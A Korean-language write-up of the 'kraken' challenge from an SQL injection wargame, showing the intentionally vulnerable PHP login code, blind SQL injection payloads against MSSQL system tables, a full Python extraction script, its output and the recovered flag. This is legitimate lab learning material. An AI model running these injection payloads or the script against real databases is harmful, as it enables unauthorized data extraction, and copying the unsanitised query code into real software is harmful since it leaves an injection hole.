이번 문제의 이름은 kraken이다. 이 문제는 poltergeist와 유사 한 문제이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
---------------------------------
query : select id from member where id='' and pw=''
---------------------------------

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

플래그는 flag_{$hash} 테이블 안에 있다고 한다. 따라서 이 문제를 풀기 위해서는 flag_$hash 형태의 테이블 명을 알아야 하고, 해당 테이블의 컬럼 명, 그 다음에는 플래그 값을 찾아야 한다. 그래서 이 전에 풀었던 문제인 poltergeist에서 구현한 소스코드에서 쿼리를 살짝 바꾸어 주었다.

poltergeist에서는 sqlite_master 테이블에서 sql을 검색하여 테이블 명과 컬럼 명을 알아낼 수 있었다. 그런데 MSSQL에서는 이런 식으로 한번에 테이블 구조를 볼 수 있는 테이블이 없는 것 같다. 그래서 sys.tables라는 테이블에서 테이블 명을 찾을 수 있었다. 쿼리는 다음과 같다.

1
select name from sys.tables where name like 'flag_%'

여기서 name테이블 명이 저장되어 있는 컬럼이다. 위의 쿼리를 사용하여 한 글자 씩 테이블 명을 알아낸 후, 컬럼명을 알아내야 하는데, 문제는 알아낸 테이블 명만으로는 컬럼명을 알아낼 수 있는 방법이 없다는 것이었다. 그래서 다시 sys.tables에서 object_id라는 것을 추출했다.

1
select object_id from sys.tables where name=TABLE_NAME

object_id9글자의 숫자로 이루어져 있었는데, 해당 값을 숫자가 너무 커서 이진 탐색 방법으로 찾아내도록 코드를 구현했다. 앞의 sys.tables에는 테이블에 대한 정보가 저장되어 있었는데, 컬럼에 대한 것은 sys.columns에 저장되어 있다. 이 때, object_id개체의 ID로 데이터베이스 내에서 고유한 값이다. 때문에 한 sys.tables에 저장 된 각 테이블은 고유한 object_id의 값을 가진다.

또한 sys.columns 테이블에서는 column에 대한 정보를 저장하는데, 이 때 object_id을 통해 해당 열이 속한 개체의 ID 값을 저장 해 해당 열이 어떤 테이블에 속한 지 식별할 수 있게 해 준다. 따라서 앞의 쿼리를 통해 구한 object_id를 사용하여 sys.columns에서 컬럼 명을 구할 수 있다. 이를 위한 쿼리는 다음과 같다.

1
select name from sys.columns where object_id=OBJECT_ID

여기서 name은 컬럼 명이다. 이렇게 하면 플래그 값을 추출하기 위한 테이블 명컬럼 명을 모두 알아낼 수 있게 된다. 최종적으로 아래의 쿼리를 다음과 같이 넣어 플래그 값을 추출하면 문제를 풀 수 있다.

1
select COLUMN from TABLE

1
2
3
?id=1&pw=1' or len(select COLUMN from TABLE)=0

?id=1&pw=1' or substring((select COLUMN from TABLE), 1, 1)='a

이를 코드로 구현해 보면 다음과 같다.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
import requests

table = ""
column = ""
flag = ""
object_id = 0
length = 0

def testEqual(num):
	try:
		query = url + "1' or (select object_id from sys.tables where name = '" + table + "') = " + str(num) + " -- "
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"

	if 'guest' in r.text:
		return True
	else:
		return False

def testBigger(num):
	try:
		query = url + "1' or (select object_id from sys.tables where name = '" + table + "') < " + str(num) + " -- "
		r = requests.post(query, cookies=session)
	except:
		 print "[-] Error occur"

	if 'guest' in r.text:
		return True
	else:
		return False

def search_id(start, end):
	if start > end:
		return "None"

	mid = (start + end) / 2

	if testEqual(mid):
		return mid
	elif testBigger(mid):
		end = mid - 1
	else:
		start = mid + 1

	return search_id(start, end)

url = "https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php?id=1&pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the table"

for i in range(0, 40):
	try:
		query = url + "1' or len((select name from sys.tables where name like 'flag_%'))=" + str(i) + " -- "
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'guest' in r.text:
		length = i
		break

print "[+] Found length : ", length

print "[+] Find table"

for j in range(1, length + 1):
	for i in range(48, 128):
		try:
			query = url + "1' or substring((select name from sys.tables where name like 'flag_%'), " + str(j) + ", 1)='" + chr(i)
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'guest' in r.text:
			table += chr(i)
			print "[+] Found " + str(j), ":", table
			break

table = table.lower()
print "[+] Found table : ", table

length = 0

print "[+] Find length of the object_id"

for i in range(0, 40):
        try:
                query = url + "1' or len((select object_id from sys.tables where name = '" + table + "'))=" + str(i) + " -- "
                r = requests.post(query, cookies=session)
        except:
                print "[-] Error occur"
                continue

        if 'guest' in r.text:
                length = i
                break

print "[+] Found length : ", length

print "[+] Find object_id"

object_id = search_id(100000000, 999999999)

print "[+] Found object_id : ", object_id

length = 0

print "[+] Find length of the column"

for i in range(0, 100):
        try:
                query = url + "1' or len((select name from sys.columns where object_id = " + str(object_id) + "))=" + str(i) + " -- "
                r = requests.post(query, cookies=session)
        except:
                print "[-] Error occur"
                continue

        if 'guest' in r.text:
                length = i
                break

print "[+] Found length : ", length

print "[+] Find column"

for j in range(1, length + 1):
        for i in range(32, 128):
                try:
                        query = url + "1' or substring((select name from sys.columns where object_id = " + str(object_id)  + "), " + str(j) + ", 1)='" + chr(i)
                        r = requests.post(query, cookies=session)
                except:
                        print "[-] Error occur"
                        continue

                if 'guest' in r.text:
                        column += chr(i)
                        print "[+] Found " + str(j), ":", column
                        break

column = column.lower()
print "[+] Found column : ", column

length = 0
print "[+] Find length of the flag"

for i in range(0, 100):
        try:
                query = url + "1' or len((select " + column + " from " + table + "))=" + str(i) + " -- "
                r = requests.post(query, cookies=session)
        except:
                print "[-] Error occur"
                continue

        if 'guest' in r.text:
                length = i
                break

print "[+] Found length : ", length

print "[+] Find flag"

for j in range(1, length + 1):
        for i in range(32, 128):
                try:
                        query = url + "1' or substring((select " + column + " from " + table + "), " + str(j) + ", 1)='" + chr(i)
                        r = requests.post(query, cookies=session)
                except:
                        print "[-] Error occur"
                        continue

                if 'guest' in r.text:
                        flag += chr(i)
                        print "[+] Found " + str(j), ":", flag
                        break

print "[+] Found flag : ", flag.lower()
print "[+] End"

그 결과 아래와 같이 플래그를 얻을 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
$ python ex.py 
[+] Start
[+] Find length of the table
[+] Found length :  13
[+] Find table
[+] Found 1 : F
[+] Found 2 : FL
[+] Found 3 : FLA
[+] Found 4 : FLAG
[+] Found 5 : FLAG_
[+] Found 6 : FLAG_C
[+] Found 7 : FLAG_CC
[+] Found 8 : FLAG_CCD
[+] Found 9 : FLAG_CCDF
[+] Found 10 : FLAG_CCDFE
[+] Found 11 : FLAG_CCDFE6
[+] Found 12 : FLAG_CCDFE62
[+] Found 13 : FLAG_CCDFE62B
[+] Found table :  flag_ccdfe62b
[+] Find length of the object_id
[+] Found length :  9
[+] Find object_id
[+] Found object_id :  901578250
[+] Find length of the column
[+] Found length :  13
[+] Find column
[+] Found 1 : F
[+] Found 2 : FL
[+] Found 3 : FLA
[+] Found 4 : FLAG
[+] Found 5 : FLAG_
[+] Found 6 : FLAG_A
[+] Found 7 : FLAG_AB
[+] Found 8 : FLAG_AB1
[+] Found 9 : FLAG_AB15
[+] Found 10 : FLAG_AB15B
[+] Found 11 : FLAG_AB15B6
[+] Found 12 : FLAG_AB15B60
[+] Found 13 : FLAG_AB15B600
[+] Found column :  flag_ab15b600
[+] Find length of the flag
[+] Found length :  38
[+] Find flag
[+] Found 1 : F
[+] Found 2 : FL
[+] Found 3 : FLA
[+] Found 4 : FLAG
[+] Found 5 : FLAG{
[+] Found 6 : FLAG{A
[+] Found 7 : FLAG{A0
[+] Found 8 : FLAG{A08
[+] Found 9 : FLAG{A081
[+] Found 10 : FLAG{A0819
[+] Found 11 : FLAG{A0819F
[+] Found 12 : FLAG{A0819FC
[+] Found 13 : FLAG{A0819FC5
[+] Found 14 : FLAG{A0819FC56
[+] Found 15 : FLAG{A0819FC56B
[+] Found 16 : FLAG{A0819FC56BE
[+] Found 17 : FLAG{A0819FC56BEA
[+] Found 18 : FLAG{A0819FC56BEAE
[+] Found 19 : FLAG{A0819FC56BEAE9
[+] Found 20 : FLAG{A0819FC56BEAE98
[+] Found 21 : FLAG{A0819FC56BEAE985
[+] Found 22 : FLAG{A0819FC56BEAE985B
[+] Found 23 : FLAG{A0819FC56BEAE985BA
[+] Found 24 : FLAG{A0819FC56BEAE985BAC
[+] Found 25 : FLAG{A0819FC56BEAE985BAC7
[+] Found 26 : FLAG{A0819FC56BEAE985BAC7D
[+] Found 27 : FLAG{A0819FC56BEAE985BAC7D1
[+] Found 28 : FLAG{A0819FC56BEAE985BAC7D17
[+] Found 29 : FLAG{A0819FC56BEAE985BAC7D175
[+] Found 30 : FLAG{A0819FC56BEAE985BAC7D175C
[+] Found 31 : FLAG{A0819FC56BEAE985BAC7D175C9
[+] Found 32 : FLAG{A0819FC56BEAE985BAC7D175C97
[+] Found 33 : FLAG{A0819FC56BEAE985BAC7D175C974
[+] Found 34 : FLAG{A0819FC56BEAE985BAC7D175C974C
[+] Found 35 : FLAG{A0819FC56BEAE985BAC7D175C974CD
[+] Found 36 : FLAG{A0819FC56BEAE985BAC7D175C974CD2
[+] Found 37 : FLAG{A0819FC56BEAE985BAC7D175C974CD27
[+] Found 38 : FLAG{A0819FC56BEAE985BAC7D175C974CD27}
[+] Found flag :  flag{a0819fc56beae985bac7d175c974cd27}
[+] End

나온 값에서 앞의 flag만 대문자로 바꾸어 넣어주어야 문제를 풀 수 있다.

1
?pw=FLAG{a0819fc56beae985bac7d175c974cd27}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
----------------------------------------------------------------------------------------------------------------------------------
query : select id from member where id='admin' and pw='FLAG{a0819fc56beae985bac7d175c974cd27}'
----------------------------------------------------------------------------------------------------------------------------------

KRAKEN Clear!

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

1
KRAKEN Clear!!